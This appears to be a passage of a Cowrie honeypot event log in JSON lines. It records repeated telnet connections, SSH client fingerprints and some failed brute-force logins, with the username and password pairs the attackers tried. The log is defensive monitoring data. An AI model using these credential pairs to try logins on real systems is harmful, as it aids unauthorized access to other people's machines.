{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":37566,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1082d240754","protocol":"telnet","message":"New connection: 103.233.1.130:37566 (159.203.135.109:23) [session: f1082d240754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:45.207091Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:51.600492Z","src_ip":"122.168.114.167","session":"0ef8b44c9a70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":46012,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e9d0f58843a","protocol":"telnet","message":"New connection: 103.233.1.130:46012 (159.203.135.109:23) [session: 5e9d0f58843a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:52.026900Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":46000,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dd72464734a","protocol":"telnet","message":"New connection: 103.233.1.130:46000 (159.203.135.109:23) [session: 1dd72464734a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:52.912440Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":45998,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac0eb1ae168d","protocol":"telnet","message":"New connection: 103.233.1.130:45998 (159.203.135.109:23) [session: ac0eb1ae168d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:53.014060Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":46020,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0af1fa89eb9","protocol":"telnet","message":"New connection: 103.233.1.130:46020 (159.203.135.109:23) [session: d0af1fa89eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:53.084266Z"}
{"eventid":"cowrie.session.closed","duration":"14.1","message":"Connection lost after 14.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:54.586218Z","src_ip":"122.168.114.167","session":"0ef8b44c9a70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":46024,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5162727b634","protocol":"telnet","message":"New connection: 103.233.1.130:46024 (159.203.135.109:23) [session: f5162727b634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:54.673920Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":39974,"dst_ip":"159.203.135.109","dst_port":23,"session":"2be9cada4e45","protocol":"telnet","message":"New connection: 103.233.1.130:39974 (159.203.135.109:23) [session: 2be9cada4e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:55.711376Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":39982,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b1dc39ea003","protocol":"telnet","message":"New connection: 103.233.1.130:39982 (159.203.135.109:23) [session: 6b1dc39ea003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:55.990307Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":39992,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cac792bf55d","protocol":"telnet","message":"New connection: 103.233.1.130:39992 (159.203.135.109:23) [session: 6cac792bf55d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:57.654554Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":39996,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bc2a9171959","protocol":"telnet","message":"New connection: 103.233.1.130:39996 (159.203.135.109:23) [session: 4bc2a9171959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:01.742947Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":39994,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ee2141613c3","protocol":"telnet","message":"New connection: 103.233.1.130:39994 (159.203.135.109:23) [session: 7ee2141613c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:02.055593Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53862,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bc14bc5458a","protocol":"ssh","message":"New connection: 159.203.92.129:53862 (159.203.135.109:22) [session: 9bc14bc5458a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:02.773802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:02.778360Z","src_ip":"159.203.92.129","session":"9bc14bc5458a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:02.794380Z","src_ip":"159.203.92.129","session":"9bc14bc5458a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"12345678","message":"login attempt [app/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:02.808859Z","src_ip":"159.203.92.129","session":"9bc14bc5458a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:03.882146Z","src_ip":"159.203.92.129","session":"9bc14bc5458a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":58744,"dst_ip":"159.203.135.109","dst_port":23,"session":"937386896a44","protocol":"telnet","message":"New connection: 103.233.1.130:58744 (159.203.135.109:23) [session: 937386896a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:06.957026Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":58766,"dst_ip":"159.203.135.109","dst_port":23,"session":"601bf0e49816","protocol":"telnet","message":"New connection: 103.233.1.130:58766 (159.203.135.109:23) [session: 601bf0e49816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:09.192925Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":58772,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a2802a37adb","protocol":"telnet","message":"New connection: 103.233.1.130:58772 (159.203.135.109:23) [session: 6a2802a37adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:10.590002Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":58756,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b6f35e7c00a","protocol":"telnet","message":"New connection: 103.233.1.130:58756 (159.203.135.109:23) [session: 5b6f35e7c00a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:11.256801Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":58788,"dst_ip":"159.203.135.109","dst_port":23,"session":"2698dcbb722a","protocol":"telnet","message":"New connection: 103.233.1.130:58788 (159.203.135.109:23) [session: 2698dcbb722a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:12.066376Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":58798,"dst_ip":"159.203.135.109","dst_port":23,"session":"865c7526267e","protocol":"telnet","message":"New connection: 103.233.1.130:58798 (159.203.135.109:23) [session: 865c7526267e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:13.923800Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":58810,"dst_ip":"159.203.135.109","dst_port":23,"session":"b431c18ae80a","protocol":"telnet","message":"New connection: 103.233.1.130:58810 (159.203.135.109:23) [session: b431c18ae80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:14.108595Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":58808,"dst_ip":"159.203.135.109","dst_port":23,"session":"3016a68f0c2c","protocol":"telnet","message":"New connection: 103.233.1.130:58808 (159.203.135.109:23) [session: 3016a68f0c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:14.134424Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":57060,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7270f0b0958","protocol":"telnet","message":"New connection: 103.233.1.130:57060 (159.203.135.109:23) [session: d7270f0b0958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:15.201635Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":57074,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3ba95a3c824","protocol":"telnet","message":"New connection: 103.233.1.130:57074 (159.203.135.109:23) [session: d3ba95a3c824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:16.074999Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":57088,"dst_ip":"159.203.135.109","dst_port":23,"session":"da5750bac948","protocol":"telnet","message":"New connection: 103.233.1.130:57088 (159.203.135.109:23) [session: da5750bac948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:16.602623Z"}
{"eventid":"cowrie.session.closed","duration":31.65035629272461,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:16.857222Z","src_ip":"103.233.1.130","session":"f1082d240754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.891674518585205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:17.066468Z","src_ip":"103.233.1.130","session":"4749e2715593","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":57094,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae210e4acc84","protocol":"telnet","message":"New connection: 103.233.1.130:57094 (159.203.135.109:23) [session: ae210e4acc84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:18.879789Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":57098,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdf44001eaf6","protocol":"telnet","message":"New connection: 103.233.1.130:57098 (159.203.135.109:23) [session: fdf44001eaf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:20.836338Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":57112,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4b310e74ed0","protocol":"telnet","message":"New connection: 103.233.1.130:57112 (159.203.135.109:23) [session: c4b310e74ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:22.476540Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":47840,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d1378f9459c","protocol":"ssh","message":"New connection: 122.168.114.167:47840 (159.203.135.109:22) [session: 8d1378f9459c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:22.699426Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":57128,"dst_ip":"159.203.135.109","dst_port":23,"session":"a50e5032a66a","protocol":"telnet","message":"New connection: 103.233.1.130:57128 (159.203.135.109:23) [session: a50e5032a66a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:23.271777Z"}
{"eventid":"cowrie.session.closed","duration":31.2636137008667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:23.290452Z","src_ip":"103.233.1.130","session":"5e9d0f58843a","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:23.677948Z","src_ip":"122.168.114.167","session":"8d1378f9459c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:23.683081Z","src_ip":"122.168.114.167","session":"8d1378f9459c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":57144,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bbc6889285c","protocol":"telnet","message":"New connection: 103.233.1.130:57144 (159.203.135.109:23) [session: 7bbc6889285c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:24.002263Z"}
{"eventid":"cowrie.session.closed","duration":31.397852420806885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:24.481968Z","src_ip":"103.233.1.130","session":"d0af1fa89eb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59096622467041,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:24.503319Z","src_ip":"103.233.1.130","session":"1dd72464734a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.679805278778076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:24.693777Z","src_ip":"103.233.1.130","session":"ac0eb1ae168d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58682680130005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:25.260650Z","src_ip":"103.233.1.130","session":"f5162727b634","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.399657011032104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:27.110907Z","src_ip":"103.233.1.130","session":"2be9cada4e45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26753807067871,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:27.257424Z","src_ip":"103.233.1.130","session":"6b1dc39ea003","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":53212,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4b33c48e8f3","protocol":"telnet","message":"New connection: 103.233.1.130:53212 (159.203.135.109:23) [session: d4b33c48e8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:27.509098Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":53224,"dst_ip":"159.203.135.109","dst_port":23,"session":"33bb59085942","protocol":"telnet","message":"New connection: 103.233.1.130:53224 (159.203.135.109:23) [session: 33bb59085942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:27.686821Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":53240,"dst_ip":"159.203.135.109","dst_port":23,"session":"08fe61ecf68d","protocol":"telnet","message":"New connection: 103.233.1.130:53240 (159.203.135.109:23) [session: 08fe61ecf68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:27.942040Z"}
{"eventid":"cowrie.session.closed","duration":30.58901023864746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:28.243435Z","src_ip":"103.233.1.130","session":"6cac792bf55d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:28.664093Z","src_ip":"122.168.114.167","session":"8d1378f9459c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":5754,"dst_ip":"10.17.0.5","dst_port":22,"session":"aec2d9bfe2ca","protocol":"ssh","message":"New connection: 182.253.79.194:5754 (10.17.0.5:22) [session: aec2d9bfe2ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:30.421395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:30.427898Z","src_ip":"182.253.79.194","session":"aec2d9bfe2ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:30.700961Z","src_ip":"182.253.79.194","session":"aec2d9bfe2ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":53256,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f0f5d685b60","protocol":"telnet","message":"New connection: 103.233.1.130:53256 (159.203.135.109:23) [session: 1f0f5d685b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:31.136120Z"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:31.343707Z","src_ip":"122.168.114.167","session":"8d1378f9459c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqqqqqq","message":"login attempt [root/qqqqqqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:31.824034Z","src_ip":"182.253.79.194","session":"aec2d9bfe2ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":53258,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f615e9fe6dc","protocol":"telnet","message":"New connection: 103.233.1.130:53258 (159.203.135.109:23) [session: 4f615e9fe6dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:32.668541Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":53274,"dst_ip":"159.203.135.109","dst_port":23,"session":"57c628d4e4e1","protocol":"telnet","message":"New connection: 103.233.1.130:53274 (159.203.135.109:23) [session: 57c628d4e4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:32.942250Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:33.098529Z","src_ip":"182.253.79.194","session":"aec2d9bfe2ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.621826171875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:33.364648Z","src_ip":"103.233.1.130","session":"4bc2a9171959","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":53282,"dst_ip":"159.203.135.109","dst_port":23,"session":"a19d499f9420","protocol":"telnet","message":"New connection: 103.233.1.130:53282 (159.203.135.109:23) [session: a19d499f9420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:34.049763Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":49980,"dst_ip":"159.203.135.109","dst_port":23,"session":"39c5d8398848","protocol":"telnet","message":"New connection: 103.233.1.130:49980 (159.203.135.109:23) [session: 39c5d8398848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:52:34.620944Z"}
